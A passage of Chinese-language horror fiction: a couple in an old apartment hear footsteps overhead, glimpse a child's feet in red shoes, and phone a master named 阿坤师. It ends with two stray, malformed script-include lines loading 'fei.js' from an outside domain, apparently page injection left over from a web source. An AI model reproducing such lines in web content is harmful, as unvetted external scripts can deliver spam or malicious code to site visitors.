林语棠的脸色更白了。他们住的是老公寓,四楼就是最高层,上面是顶楼加盖的铁皮屋,但那个铁皮屋早就没人住了——上次台风天的时候,铁皮屋顶被吹飞了一半,到现在都没修。
但此刻,天花板上确实有脚步声。
不是那种急促的、忙碌的脚步,而是一种很缓慢的、漫无目的的踱步。像是有人在天花板上走来走去,不知道该去哪里,也不知道该做什么。
“哒……哒……哒……”
每一步都很轻,但每一步都很清楚。
刘丞翰站起来,走到窗边,探头往上看。从窗户的角度看不到顶楼,但他可以看到外墙上的铁窗——每一户的铁窗都装了遮雨棚,雨棚上积着灰尘和落叶。
然后他看到了一双脚。
很小的脚。穿着一双红色的鞋子。
就站在四楼窗户正上方的雨棚边缘。
“操——”
他还没骂完,那双脚就消失了。不是跳下去的,而是像是被什么东西往上拉走了一样,瞬间就不见了。
天花板上又传来一声“哒”。
然后是安静。
彻底的安静。
“丞翰?”林语棠的声音几乎是气音,“你看到了什么?”
刘丞翰没有回答。他走回茶几旁边,把那双红色小鞋拿起来,翻到鞋底。
鞋底的花纹——那朵六瓣花——中间的那个圆圈,正在慢慢地渗出一滴液体。
红色的。
他以为是血,但凑近闻了一下——
是糖水。
甜的。
像是在某个炎热的夏日午后,一个小女孩穿着这双鞋走过滚烫的柏油路,去巷口买了一只糖葫芦,糖水滴在鞋子上,渗进了鞋底的花纹里。
然后那个夏天再也没有结束。
她再也没有把鞋子脱下来。
## 三
“我们不能这样待着。”刘丞翰忽然说,声音比之前坚定了很多,“这样下去我们两个都不用睡了。”
“那我们要怎么办?”
“打电话给阿坤师。”
他拿起手机,翻到阿坤师的号码——那是今天白天阿坤师留给他的,写在一张皱巴巴的烟盒纸板上。他按下拨出键,电话响了很久,久到他以为不会有人接了。
“喂……”阿坤师的声音沙哑,带着浓重的睡意,“谁啊?”
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">